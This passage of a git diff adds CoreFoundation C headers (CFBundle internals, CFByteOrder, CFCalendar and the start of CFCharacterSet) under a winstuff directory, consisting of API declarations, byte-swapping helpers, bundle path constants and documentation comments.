alloc, CFURLRef bundleURL, UInt8 version); +extern CFURLRef _CFBundleCopyResourcesDirectoryURLInDirectory(CFAllocatorRef alloc, CFURLRef bundleURL, UInt8 version); + +extern Boolean _CFBundleCouldBeBundle(CFURLRef url); +extern CFURLRef _CFBundleCopyFrameworkURLForExecutablePath(CFAllocatorRef alloc, CFStringRef executablePath); +extern CFURLRef _CFBundleCopyResourceForkURLMayBeLocal(CFBundleRef bundle, Boolean mayBeLocal); +extern CFDictionaryRef _CFBundleCopyInfoDictionaryInResourceForkWithAllocator(CFAllocatorRef alloc, CFURLRef url); +extern CFStringRef _CFBundleCopyBundleDevelopmentRegionFromVersResource(CFBundleRef bundle); +extern CFDictionaryRef _CFBundleCopyInfoDictionaryInExecutable(CFURLRef url); +extern CFArrayRef _CFBundleCopyArchitecturesForExecutable(CFURLRef url); + +extern void _CFBundleAddPreferredLprojNamesInDirectory(CFAllocatorRef alloc, CFURLRef bundleURL, UInt8 version, CFDictionaryRef infoDict, CFMutableArrayRef lprojNames, CFStringRef devLang); + +extern CFStringRef _CFBundleGetPlatformExecutablesSubdirectoryName(void); +extern CFStringRef _CFBundleGetAlternatePlatformExecutablesSubdirectoryName(void); +extern CFStringRef _CFBundleGetOtherPlatformExecutablesSubdirectoryName(void); +extern CFStringRef _CFBundleGetOtherAlternatePlatformExecutablesSubdirectoryName(void); + +extern CFStringRef _CFCreateStringFromVersionNumber(CFAllocatorRef alloc, UInt32 vers); +extern UInt32 _CFVersionNumberFromString(CFStringRef versStr); + +extern void _CFBundleScheduleForUnloading(CFBundleRef bundle); +extern void _CFBundleUnscheduleForUnloading(CFBundleRef bundle); +extern void _CFBundleUnloadScheduledBundles(void); + + +#if defined(BINARY_SUPPORT_DYLD) +// DYLD API +extern __CFPBinaryType _CFBundleGrokBinaryType(CFURLRef executableURL); +extern Boolean _CFBundleDYLDCheckLoaded(CFBundleRef bundle); +extern Boolean _CFBundleDYLDLoadBundle(CFBundleRef bundle, Boolean forceGlobal, CFErrorRef *error); +extern Boolean _CFBundleDYLDLoadFramework(CFBundleRef bundle, CFErrorRef *error); +extern void _CFBundleDYLDUnloadBundle(CFBundleRef bundle); +extern void *_CFBundleDYLDGetSymbolByName(CFBundleRef bundle, CFStringRef symbolName); + +extern CFArrayRef _CFBundleDYLDCopyLoadedImagePathsIfChanged(void); +extern CFArrayRef _CFBundleDYLDCopyLoadedImagePathsForHint(CFStringRef hint); +#endif /* BINARY_SUPPORT_DYLD */ + +#if defined(BINARY_SUPPORT_DLFCN) +// dlfcn API +extern Boolean _CFBundleDlfcnCheckLoaded(CFBundleRef bundle); +extern Boolean _CFBundleDlfcnPreflight(CFBundleRef bundle, CFErrorRef *error); +extern Boolean _CFBundleDlfcnLoadBundle(CFBundleRef bundle, Boolean forceGlobal, CFErrorRef *error); +extern Boolean _CFBundleDlfcnLoadFramework(CFBundleRef bundle, CFErrorRef *error); +extern void _CFBundleDlfcnUnload(CFBundleRef bundle); +extern void *_CFBundleDlfcnGetSymbolByName(CFBundleRef bundle, CFStringRef symbolName); +#endif /* BINARY_SUPPORT_DLFCN */ + + +#if defined(BINARY_SUPPORT_DLL) +extern Boolean _CFBundleDLLLoad(CFBundleRef bundle, CFErrorRef *error); +extern void _CFBundleDLLUnload(CFBundleRef bundle); +extern void *_CFBundleDLLGetSymbolByName(CFBundleRef bundle, CFStringRef symbolName); +#endif /* BINARY_SUPPORT_DLL */ + + +/* Private PlugIn-related CFBundle API */ + +extern Boolean _CFBundleNeedsInitPlugIn(CFBundleRef bundle); +extern void _CFBundleInitPlugIn(CFBundleRef bundle); +extern void _CFBundlePlugInLoaded(CFBundleRef bundle); +extern void _CFBundleDeallocatePlugIn(CFBundleRef bundle); + +extern void _CFPlugInWillUnload(CFPlugInRef plugIn); + +extern void _CFPlugInAddPlugInInstance(CFPlugInRef plugIn); +extern void _CFPlugInRemovePlugInInstance(CFPlugInRef plugIn); + +extern void _CFPlugInAddFactory(CFPlugInRef plugIn, _CFPFactory *factory); +extern void _CFPlugInRemoveFactory(CFPlugInRef plugIn, _CFPFactory *factory); + + +/* Strings for parsing bundle structure */ +#define _CFBundleSupportFilesDirectoryName1 CFSTR("Support Files") +#define _CFBundleSupportFilesDirectoryName2 CFSTR("Contents") +#define _CFBundleResourcesDirectoryName CFSTR("Resources") +#define _CFBundleExecutablesDirectoryName CFSTR("Executables") +#define _CFBundleNonLocalizedResourcesDirectoryName CFSTR("Non-localized Resources") + +#define _CFBundleSupportFilesURLFromBase1 CFSTR("Support%20Files/") +#define _CFBundleSupportFilesURLFromBase2 CFSTR("Contents/") +#define _CFBundleResourcesURLFromBase0 CFSTR("Resources/") +#define _CFBundleResourcesURLFromBase1 CFSTR("Support%20Files/Resources/") +#define _CFBundleResourcesURLFromBase2 CFSTR("Contents/Resources/") +#define _CFBundleExecutablesURLFromBase1 CFSTR("Support%20Files/Executables/") +#define _CFBundleExecutablesURLFromBase2 CFSTR("Contents/") +#define _CFBundleInfoURLFromBase0 CFSTR("Resources/Info.plist") +#define _CFBundleInfoURLFromBase1 CFSTR("Support%20Files/Info.plist") +#define _CFBundleInfoURLFromBase2 CFSTR("Contents/Info.plist") +#define _CFBundleInfoURLFromBase3 CFSTR("Info.plist") +#define _CFBundleInfoFileName CFSTR("Info.plist") +#define _CFBundleInfoURLFromBaseNoExtension0 CFSTR("Resources/Info") +#define _CFBundleInfoURLFromBaseNoExtension1 CFSTR("Support%20Files/Info") +#define _CFBundleInfoURLFromBaseNoExtension2 CFSTR("Contents/Info") +#define _CFBundleInfoURLFromBaseNoExtension3 CFSTR("Info") +#define _CFBundleInfoExtension CFSTR("plist") +#define _CFBundleLocalInfoName CFSTR("InfoPlist") +#define _CFBundlePkgInfoURLFromBase1 CFSTR("Support%20Files/PkgInfo") +#define _CFBundlePkgInfoURLFromBase2 CFSTR("Contents/PkgInfo") +#define _CFBundlePseudoPkgInfoURLFromBase CFSTR("PkgInfo") +#define _CFBundlePrivateFrameworksURLFromBase0 CFSTR("Frameworks/") +#define _CFBundlePrivateFrameworksURLFromBase1 CFSTR("Support%20Files/Frameworks/") +#define _CFBundlePrivateFrameworksURLFromBase2 CFSTR("Contents/Frameworks/") +#define _CFBundleSharedFrameworksURLFromBase0 CFSTR("SharedFrameworks/") +#define _CFBundleSharedFrameworksURLFromBase1 CFSTR("Support%20Files/SharedFrameworks/") +#define _CFBundleSharedFrameworksURLFromBase2 CFSTR("Contents/SharedFrameworks/") +#define _CFBundleSharedSupportURLFromBase0 CFSTR("SharedSupport/") +#define _CFBundleSharedSupportURLFromBase1 CFSTR("Support%20Files/SharedSupport/") +#define _CFBundleSharedSupportURLFromBase2 CFSTR("Contents/SharedSupport/") +#define _CFBundleBuiltInPlugInsURLFromBase0 CFSTR("PlugIns/") +#define _CFBundleBuiltInPlugInsURLFromBase1 CFSTR("Support%20Files/PlugIns/") +#define _CFBundleBuiltInPlugInsURLFromBase2 CFSTR("Contents/PlugIns/") +#define _CFBundleAlternateBuiltInPlugInsURLFromBase0 CFSTR("Plug-ins/") +#define _CFBundleAlternateBuiltInPlugInsURLFromBase1 CFSTR("Support%20Files/Plug-ins/") +#define _CFBundleAlternateBuiltInPlugInsURLFromBase2 CFSTR("Contents/Plug-ins/") + +#define _CFBundleLprojExtension CFSTR("lproj") +#define _CFBundleLprojExtensionWithDot CFSTR(".lproj") + +#define _CFBundleMacOSXPlatformName CFSTR("macos") +#define _CFBundleAlternateMacOSXPlatformName CFSTR("macosx") +#define _CFBundleMacOS8PlatformName CFSTR("macosclassic") +#define _CFBundleAlternateMacOS8PlatformName CFSTR("macos8") +#define _CFBundleWindowsPlatformName CFSTR("windows") +#define _CFBundleHPUXPlatformName CFSTR("hpux") +#define _CFBundleSolarisPlatformName CFSTR("solaris") +#define _CFBundleLinuxPlatformName CFSTR("linux") +#define _CFBundleFreeBSDPlatformName CFSTR("freebsd") + +#define _CFBundleDefaultStringTableName CFSTR("Localizable") +#define _CFBundleStringTableType CFSTR("strings") + +#define _CFBundleUserLanguagesPreferenceName CFSTR("AppleLanguages") +#define _CFBundleOldUserLanguagesPreferenceName CFSTR("NSLanguages") + +#define _CFBundleLocalizedResourceForkFileName CFSTR("Localized") + +#if 0 || 0 +#define _CFBundleWindowsResourceDirectoryExtension CFSTR("resources") +#endif + +/* Old platform names (no longer used) */ +#define _CFBundleMacOSXPlatformName_OLD CFSTR("macintosh") +#define _CFBundleAlternateMacOSXPlatformName_OLD CFSTR("nextstep") +#define _CFBundleWindowsPlatformName_OLD CFSTR("windows") +#define _CFBundleAlternateWindowsPlatformName_OLD CFSTR("winnt") + +#define _CFBundleMacOSXInfoPlistPlatformName_OLD CFSTR("macos") +#define _CFBundleWindowsInfoPlistPlatformName_OLD CFSTR("win32") + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBUNDLE_INTERNAL__ */ + diff --git a/winstuff/CoreFoundation/CFByteOrder.h b/winstuff/CoreFoundation/CFByteOrder.h new file mode 100644 index 0000000..9e63df5 --- /dev/null +++ b/winstuff/CoreFoundation/CFByteOrder.h @@ -0,0 +1,300 @@ +/* CFByteOrder.h + Copyright (c) 1995-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFBYTEORDER__) +#define __COREFOUNDATION_CFBYTEORDER__ 1 + +#include +#if ((TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || (TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) && !defined(CF_USE_OSBYTEORDER_H) +#include +#define CF_USE_OSBYTEORDER_H 1 +#endif + +CF_EXTERN_C_BEGIN + +enum __CFByteOrder { + CFByteOrderUnknown, + CFByteOrderLittleEndian, + CFByteOrderBigEndian +}; +typedef CFIndex CFByteOrder; + +CF_INLINE CFByteOrder CFByteOrderGetCurrent(void) { +#if CF_USE_OSBYTEORDER_H + int32_t byteOrder = OSHostByteOrder(); + switch (byteOrder) { + case OSLittleEndian: return CFByteOrderLittleEndian; + case OSBigEndian: return CFByteOrderBigEndian; + default: break; + } + return CFByteOrderUnknown; +#else +#if __LITTLE_ENDIAN__ + return CFByteOrderLittleEndian; +#elif __BIG_ENDIAN__ + return CFByteOrderBigEndian; +#else + return CFByteOrderUnknown; +#endif +#endif +} + +CF_INLINE uint16_t CFSwapInt16(uint16_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapInt16(arg); +#else + uint16_t result; + result = (uint16_t)(((arg << 8) & 0xFF00) | ((arg >> 8) & 0xFF)); + return result; +#endif +} + +CF_INLINE uint32_t CFSwapInt32(uint32_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapInt32(arg); +#else + uint32_t result; + result = ((arg & 0xFF) << 24) | ((arg & 0xFF00) << 8) | ((arg >> 8) & 0xFF00) | ((arg >> 24) & 0xFF); + return result; +#endif +} + +CF_INLINE uint64_t CFSwapInt64(uint64_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapInt64(arg); +#else + union CFSwap { + uint64_t sv; + uint32_t ul[2]; + } tmp, result; + tmp.sv = arg; + result.ul[0] = CFSwapInt32(tmp.ul[1]); + result.ul[1] = CFSwapInt32(tmp.ul[0]); + return result.sv; +#endif +} + +CF_INLINE uint16_t CFSwapInt16BigToHost(uint16_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapBigToHostInt16(arg); +#elif __BIG_ENDIAN__ + return arg; +#else + return CFSwapInt16(arg); +#endif +} + +CF_INLINE uint32_t CFSwapInt32BigToHost(uint32_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapBigToHostInt32(arg); +#elif __BIG_ENDIAN__ + return arg; +#else + return CFSwapInt32(arg); +#endif +} + +CF_INLINE uint64_t CFSwapInt64BigToHost(uint64_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapBigToHostInt64(arg); +#elif __BIG_ENDIAN__ + return arg; +#else + return CFSwapInt64(arg); +#endif +} + +CF_INLINE uint16_t CFSwapInt16HostToBig(uint16_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapHostToBigInt16(arg); +#elif __BIG_ENDIAN__ + return arg; +#else + return CFSwapInt16(arg); +#endif +} + +CF_INLINE uint32_t CFSwapInt32HostToBig(uint32_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapHostToBigInt32(arg); +#elif __BIG_ENDIAN__ + return arg; +#else + return CFSwapInt32(arg); +#endif +} + +CF_INLINE uint64_t CFSwapInt64HostToBig(uint64_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapHostToBigInt64(arg); +#elif __BIG_ENDIAN__ + return arg; +#else + return CFSwapInt64(arg); +#endif +} + +CF_INLINE uint16_t CFSwapInt16LittleToHost(uint16_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapLittleToHostInt16(arg); +#elif __LITTLE_ENDIAN__ + return arg; +#else + return CFSwapInt16(arg); +#endif +} + +CF_INLINE uint32_t CFSwapInt32LittleToHost(uint32_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapLittleToHostInt32(arg); +#elif __LITTLE_ENDIAN__ + return arg; +#else + return CFSwapInt32(arg); +#endif +} + +CF_INLINE uint64_t CFSwapInt64LittleToHost(uint64_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapLittleToHostInt64(arg); +#elif __LITTLE_ENDIAN__ + return arg; +#else + return CFSwapInt64(arg); +#endif +} + +CF_INLINE uint16_t CFSwapInt16HostToLittle(uint16_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapHostToLittleInt16(arg); +#elif __LITTLE_ENDIAN__ + return arg; +#else + return CFSwapInt16(arg); +#endif +} + +CF_INLINE uint32_t CFSwapInt32HostToLittle(uint32_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapHostToLittleInt32(arg); +#elif __LITTLE_ENDIAN__ + return arg; +#else + return CFSwapInt32(arg); +#endif +} + +CF_INLINE uint64_t CFSwapInt64HostToLittle(uint64_t arg) { +#if CF_USE_OSBYTEORDER_H + return OSSwapHostToLittleInt64(arg); +#elif __LITTLE_ENDIAN__ + return arg; +#else + return CFSwapInt64(arg); +#endif +} + +typedef struct {uint32_t v;} CFSwappedFloat32; +typedef struct {uint64_t v;} CFSwappedFloat64; + +CF_INLINE CFSwappedFloat32 CFConvertFloat32HostToSwapped(Float32 arg) { + union CFSwap { + Float32 v; + CFSwappedFloat32 sv; + } result; + result.v = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt32(result.sv.v); +#endif + return result.sv; +} + +CF_INLINE Float32 CFConvertFloat32SwappedToHost(CFSwappedFloat32 arg) { + union CFSwap { + Float32 v; + CFSwappedFloat32 sv; + } result; + result.sv = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt32(result.sv.v); +#endif + return result.v; +} + +CF_INLINE CFSwappedFloat64 CFConvertFloat64HostToSwapped(Float64 arg) { + union CFSwap { + Float64 v; + CFSwappedFloat64 sv; + } result; + result.v = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt64(result.sv.v); +#endif + return result.sv; +} + +CF_INLINE Float64 CFConvertFloat64SwappedToHost(CFSwappedFloat64 arg) { + union CFSwap { + Float64 v; + CFSwappedFloat64 sv; + } result; + result.sv = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt64(result.sv.v); +#endif + return result.v; +} + +CF_INLINE CFSwappedFloat32 CFConvertFloatHostToSwapped(float arg) { + union CFSwap { + float v; + CFSwappedFloat32 sv; + } result; + result.v = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt32(result.sv.v); +#endif + return result.sv; +} + +CF_INLINE float CFConvertFloatSwappedToHost(CFSwappedFloat32 arg) { + union CFSwap { + float v; + CFSwappedFloat32 sv; + } result; + result.sv = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt32(result.sv.v); +#endif + return result.v; +} + +CF_INLINE CFSwappedFloat64 CFConvertDoubleHostToSwapped(double arg) { + union CFSwap { + double v; + CFSwappedFloat64 sv; + } result; + result.v = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt64(result.sv.v); +#endif + return result.sv; +} + +CF_INLINE double CFConvertDoubleSwappedToHost(CFSwappedFloat64 arg) { + union CFSwap { + double v; + CFSwappedFloat64 sv; + } result; + result.sv = arg; +#if __LITTLE_ENDIAN__ + result.sv.v = CFSwapInt64(result.sv.v); +#endif + return result.v; +} + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFBYTEORDER__ */ + diff --git a/winstuff/CoreFoundation/CFCalendar.h b/winstuff/CoreFoundation/CFCalendar.h new file mode 100644 index 0000000..48e62f2 --- /dev/null +++ b/winstuff/CoreFoundation/CFCalendar.h @@ -0,0 +1,111 @@ +/* CFCalendar.h + Copyright (c) 2004-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFCALENDAR__) +#define __COREFOUNDATION_CFCALENDAR__ 1 + +#include +#include +#include +#include + +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + +CF_EXTERN_C_BEGIN + +typedef struct __CFCalendar * CFCalendarRef; + +CF_EXPORT +CFTypeID CFCalendarGetTypeID(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFCalendarRef CFCalendarCopyCurrent(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFCalendarRef CFCalendarCreateWithIdentifier(CFAllocatorRef allocator, CFStringRef identifier) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Create a calendar. The identifiers are the kCF*Calendar + // constants in CFLocale.h. + +CF_EXPORT +CFStringRef CFCalendarGetIdentifier(CFCalendarRef calendar) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + // Returns the calendar's identifier. + +CF_EXPORT +CFLocaleRef CFCalendarCopyLocale(CFCalendarRef calendar) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +void CFCalendarSetLocale(CFCalendarRef calendar, CFLocaleRef locale) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFTimeZoneRef CFCalendarCopyTimeZone(CFCalendarRef calendar) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +void CFCalendarSetTimeZone(CFCalendarRef calendar, CFTimeZoneRef tz) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFIndex CFCalendarGetFirstWeekday(CFCalendarRef calendar) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +void CFCalendarSetFirstWeekday(CFCalendarRef calendar, CFIndex wkdy) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFIndex CFCalendarGetMinimumDaysInFirstWeek(CFCalendarRef calendar) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +void CFCalendarSetMinimumDaysInFirstWeek(CFCalendarRef calendar, CFIndex mwd) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + +enum { + kCFCalendarUnitEra = (1 << 1), + kCFCalendarUnitYear = (1 << 2), + kCFCalendarUnitMonth = (1 << 3), + kCFCalendarUnitDay = (1 << 4), + kCFCalendarUnitHour = (1 << 5), + kCFCalendarUnitMinute = (1 << 6), + kCFCalendarUnitSecond = (1 << 7), + kCFCalendarUnitWeek = (1 << 8), + kCFCalendarUnitWeekday = (1 << 9), + kCFCalendarUnitWeekdayOrdinal = (1 << 10) +}; +typedef CFOptionFlags CFCalendarUnit; + +CF_EXPORT +CFRange CFCalendarGetMinimumRangeOfUnit(CFCalendarRef calendar, CFCalendarUnit unit) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFRange CFCalendarGetMaximumRangeOfUnit(CFCalendarRef calendar, CFCalendarUnit unit) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFRange CFCalendarGetRangeOfUnit(CFCalendarRef calendar, CFCalendarUnit smallerUnit, CFCalendarUnit biggerUnit, CFAbsoluteTime at) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +CFIndex CFCalendarGetOrdinalityOfUnit(CFCalendarRef calendar, CFCalendarUnit smallerUnit, CFCalendarUnit biggerUnit, CFAbsoluteTime at) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +Boolean CFCalendarGetTimeRangeOfUnit(CFCalendarRef calendar, CFCalendarUnit unit, CFAbsoluteTime at, CFAbsoluteTime *startp, CFTimeInterval *tip) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +CF_EXPORT +Boolean CFCalendarComposeAbsoluteTime(CFCalendarRef calendar, /* out */ CFAbsoluteTime *at, const char *componentDesc, ...) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +Boolean CFCalendarDecomposeAbsoluteTime(CFCalendarRef calendar, CFAbsoluteTime at, const char *componentDesc, ...) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + +enum { + kCFCalendarComponentsWrap = (1 << 0) // option for adding +}; + +CF_EXPORT +Boolean CFCalendarAddComponents(CFCalendarRef calendar, /* inout */ CFAbsoluteTime *at, CFOptionFlags options, const char *componentDesc, ...) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +CF_EXPORT +Boolean CFCalendarGetComponentDifference(CFCalendarRef calendar, CFAbsoluteTime startingAT, CFAbsoluteTime resultAT, CFOptionFlags options, const char *componentDesc, ...) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + +CF_EXTERN_C_END + +#endif + +#endif /* ! __COREFOUNDATION_CFCALENDAR__ */ + diff --git a/winstuff/CoreFoundation/CFCharacterSet.h b/winstuff/CoreFoundation/CFCharacterSet.h new file mode 100644 index 0000000..31b1342 --- /dev/null +++ b/winstuff/CoreFoundation/CFCharacterSet.h @@ -0,0 +1,393 @@ +/* CFCharacterSet.h + Copyright (c) 1999-2007, Apple Inc. All rights reserved. +*/ + +/*! + @header CFCharacterSet + CFCharacterSet represents a set, or a bag, of Unicode characters. + The API consists of 3 groups: + 1) creation/manipulation of CFCharacterSet instances, + 2) query of a single Unicode character membership, + and 3) bitmap representation related (reading/writing). + Conceptually, CFCharacterSet is a 136K byte bitmap array of + which each bit represents a Unicode code point. It could + contain the Unicode characters in ISO 10646 Basic Multilingual + Plane (BMP) and characters in Plane 1 through Plane 16 + accessible via surrogate paris in the Unicode Transformation + Format, 16-bit encoding form (UTF-16). In other words, it can + store values from 0x00000 to 0x10FFFF in the Unicode + Transformation Format, 32-bit encoding form (UTF-32). However, + in general, how CFCharacterSet stores the information is an + implementation detail. Note even CFData used for the external + bitmap representation rarely has 136K byte. For detailed + discussion of the external bitmap representation, refer to the + comments for CFCharacterSetCreateWithBitmapRepresentation below. + Note that the existance of non-BMP characters in a character set + does not imply the membership of the corresponding surrogate + characters. For example, a character set with U+10000 does not + match with U+D800. +*/ + +#if !defined(__COREFOUNDATION_CFCHARACTERSET__) +#define __COREFOUNDATION_CFCHARACTERSET__ 1 + +#include +#include + +CF_EXTERN_C_BEGIN + +/*! + @typedef CFCharacterSetRef + This is the type of a reference to immutable CFCharacterSets. +*/ +typedef const struct __CFCharacterSet * CFCharacterSetRef; + +/*! + @typedef CFMutableCharacterSetRef + This is the type of a reference to mutable CFMutableCharacterSets. +*/ +typedef struct __CFCharacterSet * CFMutableCharacterSetRef; + +/*! + @typedef CFCharacterSetPredefinedSet + Type of the predefined CFCharacterSet selector values. +*/ + +enum { + kCFCharacterSetControl = 1, /* Control character set (Unicode General Category Cc and Cf) */ + kCFCharacterSetWhitespace, /* Whitespace character set (Unicode General Category Zs and U0009 CHARACTER TABULATION) */ + kCFCharacterSetWhitespaceAndNewline, /* Whitespace and Newline character set (Unicode General Category Z*, U000A ~ U000D, and U0085) */ + kCFCharacterSetDecimalDigit, /* Decimal digit character set */ + kCFCharacterSetLetter, /* Letter character set (Unicode General Category L* & M*) */ + kCFCharacterSetLowercaseLetter, /* Lowercase character set (Unicode General Category Ll) */ + kCFCharacterSetUppercaseLetter, /* Uppercase character set (Unicode General Category Lu and Lt) */ + kCFCharacterSetNonBase, /* Non-base character set (Unicode General Category M*) */ + kCFCharacterSetDecomposable, /* Canonically decomposable character set */ + kCFCharacterSetAlphaNumeric, /* Alpha Numeric character set (Unicode General Category L*, M*, & N*) */ + kCFCharacterSetPunctuation, /* Punctuation character set (Unicode General Category P*) */ +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFCharacterSetCapitalizedLetter = 13, /* Titlecase character set (Unicode General Category Lt) */ +#endif +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFCharacterSetSymbol = 14, /* Symbol character set (Unicode General Category S*) */ +#endif +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFCharacterSetNewline = 15, /* Newline character set (U000A ~ U000D, U0085, U2028, and U2029) */ +#endif + kCFCharacterSetIllegal = 12/* Illegal character set */ +}; +typedef CFIndex CFCharacterSetPredefinedSet; + +/*! + @function CFCharacterSetGetTypeID + Returns the type identifier of all CFCharacterSet instances. +*/ +CF_EXPORT +CFTypeID CFCharacterSetGetTypeID(void); + +/*! + @function CFCharacterSetGetPredefined + Returns a predefined CFCharacterSet instance. + @param theSetIdentifier The CFCharacterSetPredefinedSet selector + which specifies the predefined character set. If the + value is not in CFCharacterSetPredefinedSet, the behavior + is undefined. + @result A reference to the predefined immutable CFCharacterSet. + This instance is owned by CF. +*/ +CF_EXPORT +CFCharacterSetRef CFCharacterSetGetPredefined(CFCharacterSetPredefinedSet theSetIdentifier); + +/*! + @function CFCharacterSetCreateWithCharactersInRange + Creates a new immutable character set with the values from the given range. + @param alloc The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theRange The CFRange which should be used to specify the + Unicode range the character set is filled with. It + accepts the range in 32-bit in the UTF-32 format. The + valid character point range is from 0x00000 to 0x10FFFF. + If the range is outside of the valid Unicode character + point, the behavior is undefined. + @result A reference to the new immutable CFCharacterSet. +*/ +CF_EXPORT +CFCharacterSetRef CFCharacterSetCreateWithCharactersInRange(CFAllocatorRef alloc, CFRange theRange); + +/*! + @function CFCharacterSetCreateWithCharactersInString + Creates a new immutable character set with the values in the given string. + @param alloc The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theString The CFString which should be used to specify + the Unicode characters the character set is filled with. + If this parameter is not a valid CFString, the behavior + is undefined. + @result A reference to the new immutable CFCharacterSet. +*/ +CF_EXPORT +CFCharacterSetRef CFCharacterSetCreateWithCharactersInString(CFAllocatorRef alloc, CFStringRef theString); + +/*! + @function CFCharacterSetCreateWithBitmapRepresentation + Creates a new immutable character set with the bitmap representtion in the given data. + @param alloc The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theData The CFData which should be used to specify the + bitmap representation of the Unicode character points + the character set is filled with. The bitmap + representation could contain all the Unicode character + range starting from BMP to Plane 16. The first 8192 bytes + of the data represent the BMP range. The BMP range 8192 + bytes can be followed by zero to sixteen 8192 byte + bitmaps, each one with the plane index byte prepended. + For example, the bitmap representing the BMP and Plane 2 + has the size of 16385 bytes (8192 bytes for BMP, 1 byte + index + 8192 bytes bitmap for Plane 2). The plane index + byte, in this case, contains the integer value two. If + this parameter is not a valid CFData or it contains a + Plane index byte outside of the valid Plane range + (1 to 16), the behavior is undefined. + @result A reference to the new immutable CFCharacterSet. +*/ +CF_EXPORT +CFCharacterSetRef CFCharacterSetCreateWithBitmapRepresentation(CFAllocatorRef alloc, CFDataRef theData); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @function CFCharacterSetCreateInvertedSet + Creates a new immutable character set that is the invert of the specified character set. + @param alloc The CFAllocator which should be used to allocate + memory for the array and its storage for values. This + parameter may be NULL in which case the current default + CFAllocator is used. If this reference is not a valid + CFAllocator, the behavior is undefined. + @param theSet The CFCharacterSet which is to be inverted. If this + parameter is not a valid CFCharacterSet, the behavior is + undefined. + @result A reference to the new immutable CFCharacterSet. +*/ +CF_EXPORT CFCharacterSetRef CFCharacterSetCreateInvertedSet(CFAllocatorRef alloc, CFCharacterSetRef theSet); + +/*! + @function CFCharacterSetIsSupersetOfSet + Reports whether or not the character set is a superset of the character set specified as the second parameter. + @param theSet The character set to be checked for the membership of theOtherSet. + If this parameter is not a valid CFCharacterSet, the behavior is undefined. + @param theOtherset The character set to be checked whether or not it is a subset of theSet. + If this parameter is not a valid CFCharacterSet, the behavior is undefined. +*/ +CF_EXPORT Boolean CFCharacterSetIsSupersetOfSet(CFCharacterSetRef theSet, CFCharacterSetRef theOtherset); + +/*! + @function CFCharacterSetHasMemberInPlane + Reports whether or not the character set contains at least one member character in the specified plane. + @param theSet The character set to be checked for the membership. If this + parameter is not a valid CFCharacterSet, the behavior is undefined. + @param thePlane The plane number to be checked for the membership. + The valid value range is from 0 to 16. If the value is outside of the valid + plane number range, the behavior is undefined. +*/ +CF_EXPORT Boolean CFCharacterSetHasMemberInPlane(CFCharacterSetRef theSet, CFIndex thePlane); +#endif + 